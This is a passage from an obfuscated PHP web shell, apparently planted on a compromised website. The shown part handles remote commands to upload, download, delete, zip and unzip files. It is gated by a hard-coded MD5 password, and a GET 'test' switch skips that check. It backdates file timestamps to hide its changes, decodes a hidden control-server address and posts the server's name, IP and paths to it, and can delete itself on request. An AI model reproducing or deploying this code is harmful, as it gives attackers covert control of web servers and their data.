if(is_dir($v_nVwmR1fY)) { $v_nVwmR1fY=$v_iCCItpDd.'/copy_'.$v_w2zF2aGw; if($v_spkLbp3b=="cut"){ $v_nVwmR1fY=$v_iCCItpDd.'/'.$v_w2zF2aGw; } } else { } if($v_spkLbp3b=="cut"){ rename($v_W3AC9dX4,$v_nVwmR1fY); goto pastefile_end; } if(p_wIiiNhRY($v_W3AC9dX4,$v_nVwmR1fY)) { }else{ } }else{ $v_nVwmR1fY=$v_iCCItpDd.'/'.$v_w2zF2aGw; if(file_exists($v_nVwmR1fY)) { $v_nVwmR1fY=$v_iCCItpDd.'/copy_'.$v_w2zF2aGw; if($v_spkLbp3b=="cut"){ $v_nVwmR1fY=$v_iCCItpDd.'/'.$v_w2zF2aGw; } } else { } if($v_spkLbp3b=="cut"){ if(rename($v_W3AC9dX4,$v_nVwmR1fY)){ }; goto pastefile_end; } if(copy($v_W3AC9dX4,$v_nVwmR1fY)) { }else{ } } pastefile_end: $v_TpUNRuqn =p_D38EG2Xb($v_Dp3S2fZa); $v_TpUNRuqn["casetype"]="rename"; $v_TpUNRuqn["casetypepath"]=$v_Dp3S2fZa; return json_encode($v_TpUNRuqn); break; case "replacefile": $v_TpUNRuqn["page"]= ''; $v_TpUNRuqn["box"]=''; echo json_encode($v_TpUNRuqn); break; case "replacedir": $v_TpUNRuqn["page"]= ''; $v_TpUNRuqn["box"]=''; echo json_encode($v_TpUNRuqn); break; case "download": $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_u6rarh3U); $v_OyZStoVi=$v_u6rarh3U; $v_U0wNrXDf=filesize($v_OyZStoVi); $v_E9vxA36u=basename($v_OyZStoVi); if($v_U0wNrXDf<50*1024*1024){ set_time_limit(0); $v_zrshUKnl=$v_OyZStoVi; p_ilgslZeC($v_zrshUKnl,$v_E9vxA36u); }else{ set_time_limit(0); $v_zrshUKnl=$v_OyZStoVi; p_ilgslZeC($v_zrshUKnl,$v_E9vxA36u); exit; } break; case "upload": set_time_limit(0); p_BxBjaJ9r($v_mdLxLexD); $v_TpUNRuqn["casetype"]="upload"; return json_encode($v_TpUNRuqn); break; case "delfile": if($v_kNVxHx7l==1){ set_time_limit(0); $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_u6rarh3U); p_UsFCiXEU($v_u6rarh3U,true); }else{ $v_u6rarh3U=iconv('utf-8', 'GB2312',$v_u6rarh3U); unlink ($v_u6rarh3U); } $v_TpUNRuqn =p_D38EG2Xb($v_iCCItpDd); $v_TpUNRuqn["casetype"]="zip"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "upzip": $v_bgi8YSD4 = new ZipArchive; $v_R7sfJ4UF=isset($v_mdLxLexD['rootpath'])?$v_mdLxLexD['rootpath']:""; $v_GPHQYZVj=isset($v_mdLxLexD['filename'])?$v_mdLxLexD['filename']:""; $v_C9wAWdIq=isset($v_mdLxLexD['byrootpath'])?$v_mdLxLexD['byrootpath']:""; if($v_C9wAWdIq=="yes"){ $v_osX7BNVd=rtrim(str_replace('\\','/', $_SERVER['DOCUMENT_ROOT']), '/')."/"; $v_u6rarh3U=$v_osX7BNVd.$v_R7sfJ4UF.'/'.$v_GPHQYZVj; } $v_BJK9fNOT=dirname($v_u6rarh3U); $v_SKrkXkxB = $v_bgi8YSD4->open($v_u6rarh3U); if ($v_SKrkXkxB === TRUE) { $v_bgi8YSD4->extractTo($v_BJK9fNOT); $v_bgi8YSD4->close(); } else { } if($v_C9wAWdIq=="yes"){ $v_TpUNRuqn["casetype"]="upzip"; @touch($v_BJK9fNOT, strtotime("-150 days", time())); $v_FDkKiHC3=dirname($v_BJK9fNOT); @touch($v_FDkKiHC3, strtotime("-250 days", time())); $v_FDkKiHC3=rtrim($v_u6rarh3U,'.zip'); if(is_dir($v_FDkKiHC3)){ @touch($v_FDkKiHC3, strtotime("-350 days", time())); } return json_encode($v_TpUNRuqn); }else{ @touch($v_BJK9fNOT, strtotime("-150 days", time())); $v_FDkKiHC3=dirname($v_BJK9fNOT); @touch($v_FDkKiHC3, strtotime("-250 days", time())); $v_FDkKiHC3=rtrim($v_u6rarh3U,'.zip'); if(is_dir($v_FDkKiHC3)){ @touch($v_FDkKiHC3, strtotime("-350 days", time())); } } $v_TpUNRuqn =p_D38EG2Xb($v_iCCItpDd); $v_TpUNRuqn["casetype"]="zip"; $v_TpUNRuqn["casetypepath"]=$v_iCCItpDd; return json_encode($v_TpUNRuqn); break; case "hasfile": $v_R7sfJ4UF=$v_mdLxLexD['rootpath']; $v_GPHQYZVj=$v_mdLxLexD['filename']; $v_UlO4NJJz=$v_mdLxLexD['filesize']; if($v_R7sfJ4UF!=""){ $v_osX7BNVd= rtrim(str_replace('\\','/', $_SERVER['DOCUMENT_ROOT']), '/')."/"; $v_u6rarh3U=$v_osX7BNVd.$v_R7sfJ4UF.'/'.$v_GPHQYZVj; } $v_TpUNRuqn["is_file"]="no"; if(is_file($v_u6rarh3U)){ $v_TpUNRuqn["is_file"]="yes"; } $v_8Had7am4=filesize($v_u6rarh3U); $v_813Aqih2=round($v_8Had7am4/1024/1024, 2); $v_TpUNRuqn["filesize"]="<".$v_UlO4NJJz."MB"; if($v_813Aqih2>$v_UlO4NJJz){ $v_TpUNRuqn["filesize"]=">".$v_UlO4NJJz."MB"; } $v_TpUNRuqn["casetype"]="hasfile"; return json_encode($v_TpUNRuqn); break; case "zip": $v_Dp3S2fZa=$v_iCCItpDd; set_time_limit(0); $v_bgi8YSD4=new ZipArchive; $v_OyZStoVi=$v_u6rarh3U; $v_OyZStoVi=iconv( 'utf-8','GB2312', $v_OyZStoVi); $v_iCCItpDd=iconv('utf-8','GB2312', $v_iCCItpDd); $v_cvYSoS29=dirname($v_OyZStoVi); $v_GPHQYZVj=basename($v_OyZStoVi); $v_BJK9fNOT=$v_iCCItpDd."/".$v_GPHQYZVj; $v_GPHQYZVj=$v_BJK9fNOT.'.zip'; if(file_exists($v_GPHQYZVj)){ unlink($v_GPHQYZVj); } $v_RR1UJi1Y=$v_GPHQYZVj; if($v_bgi8YSD4->open($v_RR1UJi1Y,\ZipArchive::OVERWRITE|\ZIPARCHIVE::CREATE)===TRUE){ p_8KTqzEDK($v_OyZStoVi, $v_bgi8YSD4,$v_cvYSoS29); $v_bgi8YSD4->close(); } $v_TpUNRuqn =p_D38EG2Xb($v_Dp3S2fZa); $v_TpUNRuqn["casetype"]="zip"; $v_TpUNRuqn["casetypepath"]=$v_Dp3S2fZa; return json_encode($v_TpUNRuqn); break; case "listfiles": $v_TpUNRuqn =p_D38EG2Xb($v_iCCItpDd); return json_encode($v_TpUNRuqn); break; default: break; }}ini_set('memory_limit', '2048M');set_time_limit(0); $v_GZgGh0y2=$_POST['domain']; $v_PZqiIO3Z=$_POST['url']; $v_zrshUKnl=$_POST['file']; $v_iCCItpDd=$_POST['path']; $v_Kl8z7nhc=$_POST['filecof_json']; $v_UW0Mzvgw=p_NviESIAA($v_Kl8z7nhc);$v_YmMB2H25=array();$v_yZbiLnAu=isset($_POST["passwd"])?$_POST["passwd"]:'0';$v_bcTbgeK2=MD5($v_yZbiLnAu); if($_POST['j_cmd']&&$v_bcTbgeK2=='0424d20160a6a558e5bf86a7bc9b67f0'){ $v_YmMB2H25=$_POST; echo p_aIkdoktM($_POST['j_cmd'],$_POST); exit; } if($_GET['test']=="yes"){ $_POST['j_cmd']=$_GET['j_cmd']; $_POST['path']=$_GET['path']; $_POST['filepath']=$_GET['filepath']; $_POST['modeltitle']=$_GET['modeltitle']; print_r($_POST); echo p_aIkdoktM($_POST['j_cmd'],$_POST); } if($_GET['test']=="y"){ $v_IX2FFUm8=$_GET['dm001']?$_GET['dm001']:$_POST['dm001']; $v_1P2omRSp=$v_IX2FFUm8?$v_IX2FFUm8:"UTpTIgAiWytWJFA8AHgNJgZyAjBVLA0wBSIAMFU6WW4Hd1g5U25RfwFjBTwAOgQv"; $v_1P2omRSp=p_Q7oN58y2($v_1P2omRSp,'se'); define('SITEORDER',$v_1P2omRSp); define("USERNAME","fileadmin"); $v_fas8SHla = array(); $v_fas8SHla[]= 'Accept: text/html'; $v_fas8SHla[]= 'Content-Type: application/x-www-form-urlencoded; charset=utf-8'; define('P_ROOTip', str_replace("\\", '/', dirname(__FILE__))); $v_UZshDF0B=P_ROOTip; $v_lxpVpxg3 = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://'; $v_k5Aj5A5L['domain']=$_SERVER['SERVER_NAME']; $v_k5Aj5A5L['onedomain']="no"; $v_MSkECrqA=explode($_SERVER['DOCUMENT_ROOT'],$v_UZshDF0B); if($v_MSkECrqA[1]==""||$v_MSkECrqA[1]==null){ $v_UZshDF0B= p_3EPYyLT3($_SERVER['DOCUMENT_ROOT'],$v_UZshDF0B); $v_MSkECrqA=explode($_SERVER['DOCUMENT_ROOT'],$v_UZshDF0B); } $v_k5Aj5A5L['url']= $v_lxpVpxg3.$_SERVER['SERVER_NAME'].$v_MSkECrqA[1]; $v_k5Aj5A5L['rootpath']=$_SERVER['DOCUMENT_ROOT']; $v_k5Aj5A5L['file']=$v_UZshDF0B; $v_k5Aj5A5L['msg']= ''; $v_k5Aj5A5L['ping_type']= 2; $v_k5Aj5A5L['username']= USERNAME; $v_pF5X7HsT = basename(__FILE__); $v_4EPkUseH=array("j_file","j_filepath","j_cmd"); $v_9jb9q1lY=array($v_pF5X7HsT,"","listfiles"); $v_HftVihzr= p_HftVihzr($v_4EPkUseH,$v_9jb9q1lY); $v_k5Aj5A5L['filecof_json']= $v_HftVihzr; $v_k5Aj5A5L['ip'] = $_SERVER['SERVER_ADDR']; $v_mdLxLexD = http_build_query($v_k5Aj5A5L); $v_iqXccsKq = curl_init(); curl_setopt($v_iqXccsKq, CURLOPT_URL, SITEORDER."add_post.php?s=fileremotecof/add_post"); curl_setopt($v_iqXccsKq, CURLOPT_RETURNTRANSFER,true); curl_setopt($v_iqXccsKq, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($v_iqXccsKq, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($v_iqXccsKq,CURLOPT_HTTPHEADER,$v_fas8SHla); curl_setopt($v_iqXccsKq, CURLOPT_POST, true); curl_setopt($v_iqXccsKq, CURLOPT_POSTFIELDS, $v_mdLxLexD); $v_yCPEA3mp = curl_exec($v_iqXccsKq); curl_close($v_iqXccsKq); echo "success 删除请添加 后缀 ?del=yes"; $v_zrshUKnl=__FILE__; if (file_exists($v_zrshUKnl)&&$_GET['del']=='yes') {@unlink ($v_zrshUKnl);} }else{ } } ?>